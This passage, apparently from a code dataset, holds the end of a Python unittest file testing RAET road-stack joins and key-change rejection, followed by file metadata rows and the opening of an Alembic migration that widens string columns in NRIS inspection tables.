enumerate(main.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(main.local.name, msg)) self.assertDictEqual(others[i], msg[0]) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(mains), len(other.rxMsgs)) for i, msg in enumerate(other.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(other.local.name, msg)) self.assertDictEqual(mains[i], msg[0]) for stack in [main, other]: self.flushRxMsgs(stack) #now forget the other data local only to simulate just changing other keys other.server.close() other.clearLocalKeep() # reload with new data data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept disabled main.keep.auto = raeting.AutoMode.never.value # turn off auto accept self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.join(other, main, duration=2.0) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertIs(remote.joined, True) # unlost other remote still there self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) #unlost other remote still accepted self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # so try to send messages should fail since keys not match mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 1) #didn't abort since duration too short self.assertNotEqual(len(others), len(main.rxMsgs)) self.assertEqual(len(other.transactions), 0) self.assertNotEqual(len(mains), len(other.rxMsgs)) #remove transactions remote = main.remotes.values()[0] for index in remote.transactions: remote.removeTransaction(index) # now reload original local other data should work as rejoin other.server.close() other.clearLocalKeep() data = savedOtherData other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept disabled main.keep.auto = raeting.AutoMode.never.value # turn off auto accept self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.join(other, main, duration=2.0) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) # so try to send messages mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=3.0) self.assertEqual(len(main.transactions), 0) self.assertEqual(len(others), len(main.rxMsgs)) for i, msg in enumerate(main.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(main.local.name, msg)) self.assertDictEqual(others[i], msg[0]) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(mains), len(other.rxMsgs)) for i, msg in enumerate(other.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(other.local.name, msg)) self.assertDictEqual(mains[i], msg[0]) for stack in [main, other]: self.flushRxMsgs(stack) # now forget the other data again other.server.close() other.clearLocalKeep() # reload with new data data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept enabled and mutable # still reject because keys differ main.keep.auto = raeting.AutoMode.once.value # turn on auto accept self.assertIs(main.keep.auto, raeting.AutoMode.once.value) main.mutable = True self.assertIs(main.mutable, True) self.join(other, main) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertTrue(remote.joined) self.assertTrue(remote.allowed) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # now reload original local other data and see if works other.server.close() other.clearLocalKeep() data = savedOtherData other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept disabled and immutable main.keep.auto = raeting.AutoMode.never.value # turn off auto accept self.assertIs(main.keep.auto, raeting.AutoMode.never.value) main.mutable = None self.assertIs(main.mutable, None) self.join(other, main, duration=2.0) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testLostMainKeep(self): ''' Test rejection when other attempts to join to main where main's data is different from previous successful join ''' console.terse("{0}\n".format(self.testLostMainKeep.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) savedMainData = data keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) savedOtherData = data keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.assertIs(other.mutable, None) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) #now forget the main data only to simulate main changing all data for stack in [main]: stack.server.close() stack.clearAllKeeps() # reload with new data data = self.createRoadData(name='main', base=self.base, auto=auto) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) # attempt to join to main with main auto accept enabled # renew request refused by other since not mutable self.assertEqual(other.mutable, None) self.join(other, main, duration=4.0) # main will refuse renew self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 1) self.assertIs(remote.joined, None) # renew attempt refused by other since main credentials different and accept once other.mutable = True self.assertEqual(other.mutable, True) self.join(other, main, duration=4.0) # main will refuse and other will renew self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 1) self.assertIs(remote.joined, None) self.allow(other, main) # will fail self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) # not joined so aborts remote = other.remotes.values()[0] self.assertIs(remote.allowed, None) # new other not joined so aborted allow # so try to send messages should fail mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertEqual(len(main.rxMsgs), 0) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertEqual(len(other.rxMsgs), 0) # now restore original main keys so it will work #now forget the new main data for stack in [main]: stack.server.close() stack.clearAllKeeps() # reload with original saved data auto = raeting.AutoMode.once.value data = savedMainData main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) other.mutable = None self.assertEqual(other.mutable, None) # attempt to join to main with main auto accept enabled and immutable # will fail since renew not allowd on immutable other self.join(other, main) self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertIs(remote.joined, None) # attempt to join to main with main auto accept enabled and mutable other other.mutable = True self.assertEqual(other.mutable, True) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # so try to send messages should succeed self.assertEqual(main.remotes.values()[0].fuid, other.remotes.values()[0].nuid) self.assertEqual(main.remotes.values()[0].nuid, other.remotes.values()[0].fuid) mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertEqual(len(others), len(main.rxMsgs)) for i, msg in enumerate(main.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(main.local.name, msg)) self.assertDictEqual(others[i], msg[0]) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertEqual(len(mains), len(other.rxMsgs)) for i, msg in enumerate(other.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(other.local.name, msg)) self.assertDictEqual(mains[i], msg[0]) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testLostMainKeepLocal(self): ''' Test rejection when other attempts to join to main where main's local keys are different from previous successful join ''' console.terse("{0}\n".format(self.testLostMainKeepLocal.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) savedMainData = data keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.assertIs(other.mutable, None) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) #now forget the main local data only to simulate main changing keys main.server.close() main.clearLocalKeep() # reload with new local data and saved remote data auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) remote = main.remotes.values()[0] self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # saved still accepted # attempt to join to main with main auto accept enabled main will accept # but other reject since main keys differ from previous join and immutable # so main will delete remote self.join(other, main) self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertIs(remote.joined, None) # no lost main remote still there # no lost main still accepted self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # allow will fail but trigger join which which will attempt join but # no remote on main side so trigger renew which will fail since immutable self.allow(other, main) # fails so attempts join which is renewed and fails self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertIs(remote.allowed, None) # new other not joined so aborted allow self.assertIs(remote.joined, None) # failed allow will start join # renew attempt refused by other since main credentials different and accept once other.mutable = True self.assertEqual(other.mutable, True) self.join(other, main, duration=4.0) # main will refuse and other will renew self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 1) self.assertIs(remote.joined, None) self.allow(other, main) # will fail self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) # not joined so aborts remote = other.remotes.values()[0] self.assertIs(remote.allowed, None) # new other not joined so aborted allow # so try to send messages should fail since keys not match mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertNotEqual(len(others), len(main.rxMsgs)) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertNotEqual(len(mains), len(other.rxMsgs)) # now restore original main keys to see if works # first forget the new main local data main.server.close() main.clearLocalKeep() # reload with original saved data auto = raeting.AutoMode.once.value data = savedMainData main = self.createRoadStack(data=data, main=True, auto=auto, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) # attempt to join to main with main auto accept enabled will attempt # to renew but refused because immutable other.mutable = None self.assertEqual(other.mutable, None) self.join(other, main) self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 0) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertIs(remote.joined, None) # attempt to join to main with main auto accept enabled will renew # successfully because mutable other.mutable = True self.assertEqual(other.mutable, True) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # so try to send messages should succeed mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertEqual(len(others), len(main.rxMsgs)) for i, msg in enumerate(main.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(main.local.name, msg)) self.assertDictEqual(others[i], msg[0]) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertEqual(len(mains), len(other.rxMsgs)) for i, msg in enumerate(other.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(other.local.name, msg)) self.assertDictEqual(mains[i], msg[0]) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testLostBothKeepLocal(self): ''' Test when both other and main lose local data to simulate both changing their local keys but keeping their remote data ''' console.terse("{0}\n".format(self.testLostMainKeepLocal.__doc__)) #self.base = tempfile.mkdtemp(prefix="raet", suffix="base", dir='/tmp') auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) savedMainData = data keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) savedOtherData = data keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.assertIs(other.mutable, None) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) #save copy of other remotes otherRemotes = odict(other.remotes) #now forget the local local data only to simulate both changing keys main.server.close() main.clearLocalKeep() other.server.close() other.clearLocalKeep() # reload with new local data and saved remote data auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) data = self.createRoadData(name='other', base=self.base, auto=auto) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) remote = main.remotes.values()[0] self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # saved still accepted self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) remote = other.remotes.values()[0] self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # saved still accepted # attempt to join to main with main auto accept enabled self.join(other, main) self.assertEqual(len(main.transactions), 0) #Joinent will reject as name already in use remote = main.remotes.values()[0] self.assertIs(remote.joined, True) # Previous joined still there self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # join nacked so remote deleted self.allow(other, main) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertIs(remote.allowed, None) # not persisted self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # join nacked so remote deleted # so try to send messages should fail since keys not match mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertNotEqual(len(others), len(main.rxMsgs)) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertNotEqual(len(mains), len(other.rxMsgs)) # now restore original local keys to see if works #now forget the new main data main.server.close() main.clearLocalKeep() other.server.close() other.clearLocalKeep() # reload with original saved data data = savedMainData main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) data = savedOtherData other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) remote = main.remotes.values()[0] self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # saved still accepted self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.assertIs(other.mutable, None) # the failed join attempt deleted the remote self.assertEqual(len(other.remotes), 0) # attempt to join to main with main auto accept enabled self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) # so try to send messages should succeed mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 0) #not allowed so aborted self.assertEqual(len(others), len(main.rxMsgs)) for i, msg in enumerate(main.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(main.local.name, msg)) self.assertDictEqual(others[i], msg[0]) self.assertEqual(len(other.transactions), 0) #not allowed so aborted self.assertEqual(len(mains), len(other.rxMsgs)) for i, msg in enumerate(other.rxMsgs): console.terse("Estate '{0}' rxed:\n'{1}'\n".format(other.local.name, msg)) self.assertDictEqual(mains[i], msg[0]) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def runOne(test): ''' Unittest Runner ''' test = BasicTestCase(test) suite = unittest.TestSuite([test]) unittest.TextTestRunner(verbosity=2).run(suite) def runSome(): ''' Unittest runner ''' tests = [] names = ['testBasic', 'testBasicMsgpack', 'testAltDirpath', 'testPending', 'testPendingSavedKeep', 'testRejoin', 'testRejoinFromMain', 'testLostOtherKeep', 'testLostOtherKeepLocal', 'testLostMainKeep', 'testLostMainKeepLocal', 'testLostBothKeepLocal',] tests.extend(map(BasicTestCase, names)) suite = unittest.TestSuite(tests) unittest.TextTestRunner(verbosity=2).run(suite) def runAll(): ''' Unittest runner ''' suite = unittest.TestSuite() suite.addTest(unittest.TestLoader().loadTestsFromTestCase(BasicTestCase)) unittest.TextTestRunner(verbosity=2).run(suite) if __name__ == '__main__' and __package__ is None: #console.reinit(verbosity=console.Wordage.concise) #runAll() #run all unittests runSome()#only run some #runOne('testBasicMsgpack')
43.175047
124
0.559985
9,877
92,740
5.23985
0.049509
0.081153
0.060865
0.03194
0.879062
0.872725
0.856456
0.846273
0.832844
0.823318
0
0.0147
0.317091
92,740
2,147
125
43.195156
0.802473
0.100863
0
0.87796
0
0
0.05112
0.000776
0
0
0
0
0.313904
1
0.015786
false
0.000607
0.009715
0
0.027322
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b521c76b71fe5dd968c5beb0e3e917960c7f7e82
10,267
py
Python
services/nris-api/backend/migrations/versions/c86eca21d297_.py
bcgov/mds
6c427a66a5edb4196222607291adef8fd6677038
[ "Apache-2.0" ]
25
2018-07-09T19:04:37.000Z
2022-03-15T17:27:10.000Z
services/nris-api/backend/migrations/versions/c86eca21d297_.py
areyeslo/mds
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
[ "Apache-2.0" ]
983
2018-04-25T20:08:07.000Z
2022-03-31T21:45:20.000Z
services/nris-api/backend/migrations/versions/c86eca21d297_.py
areyeslo/mds
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
[ "Apache-2.0" ]
58
2018-05-15T22:35:50.000Z
2021-11-29T19:40:52.000Z
"""empty message Revision ID: c86eca21d297 Revises: 2db7d022d4f7 Create Date: 2020-07-29 16:08:11.690671 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'c86eca21d297' down_revision = '2db7d022d4f7' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.alter_column('attendee_type', 'attendee_type', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('document', 'comment', existing_type=sa.VARCHAR(length=1024), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('document', 'file_name', existing_type=sa.VARCHAR(length=1024), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('document_type', 'document_type', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('inspected_location_type', 'inspected_location_type', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('inspection_reason', 'inspection_reason_code', existing_type=sa.VARCHAR(length=32), type_=sa.String(length=10485760), existing_nullable=False) op.alter_column('inspection_reason', 'inspection_reason_description', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('inspection_status', 'inspection_status_code', existing_type=sa.VARCHAR(length=32), type_=sa.String(length=10485760), existing_nullable=False) op.alter_column('inspection_status', 'inspection_status_description', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('inspection_substatus', 'inspection_substatus_code', existing_type=sa.VARCHAR(length=32), type_=sa.String(length=10485760), existing_nullable=False) op.alter_column('inspection_substatus', 'inspection_substatus_description', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('inspection_type', 'inspection_type_code', existing_type=sa.VARCHAR(length=32), type_=sa.String(length=10485760), existing_nullable=False) op.alter_column('inspection_type', 'inspection_type_description', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('legislation_act', 'act', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('legislation_act_section', 'section', existing_type=sa.VARCHAR(length=64), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('location', 'description', existing_type=sa.VARCHAR(length=1024), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('noncompliance_legislation', 'noncompliant_description', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('noncompliance_permit', 'section_number', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('noncompliance_permit', 'section_title', existing_type=sa.VARCHAR(length=2048), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('order_stop_detail', 'authority_act', existing_type=sa.VARCHAR(length=64), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('order_stop_detail', 'authority_act_section', existing_type=sa.VARCHAR(length=64), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('order_stop_detail', 'response_status', existing_type=sa.VARCHAR(length=64), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('order_stop_detail', 'stop_status', existing_type=sa.VARCHAR(length=64), type_=sa.String(length=10485760), existing_nullable=True) op.alter_column('order_stop_detail', 'stop_type', existing_type=sa.VARCHAR(length=256), type_=sa.String(length=10485760), existing_nullable=True) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.alter_column('order_stop_detail', 'stop_type', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('order_stop_detail', 'stop_status', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=64), existing_nullable=True) op.alter_column('order_stop_detail', 'response_status', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=64), existing_nullable=True) op.alter_column('order_stop_detail', 'authority_act_section', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=64), existing_nullable=True) op.alter_column('order_stop_detail', 'authority_act', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=64), existing_nullable=True) op.alter_column('noncompliance_permit', 'section_title', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=2048), existing_nullable=True) op.alter_column('noncompliance_permit', 'section_number', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('noncompliance_legislation', 'noncompliant_description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('location', 'description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=1024), existing_nullable=True) op.alter_column('legislation_act_section', 'section', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=64), existing_nullable=True) op.alter_column('legislation_act', 'act', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('inspection_type', 'inspection_type_description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('inspection_type', 'inspection_type_code', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=32), existing_nullable=False) op.alter_column('inspection_substatus', 'inspection_substatus_description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('inspection_substatus', 'inspection_substatus_code', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=32), existing_nullable=False) op.alter_column('inspection_status', 'inspection_status_description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('inspection_status', 'inspection_status_code', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=32), existing_nullable=False) op.alter_column('inspection_reason', 'inspection_reason_description', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('inspection_reason', 'inspection_reason_code', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=32), existing_nullable=False) op.alter_column('inspected_location_type', 'inspected_location_type', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), 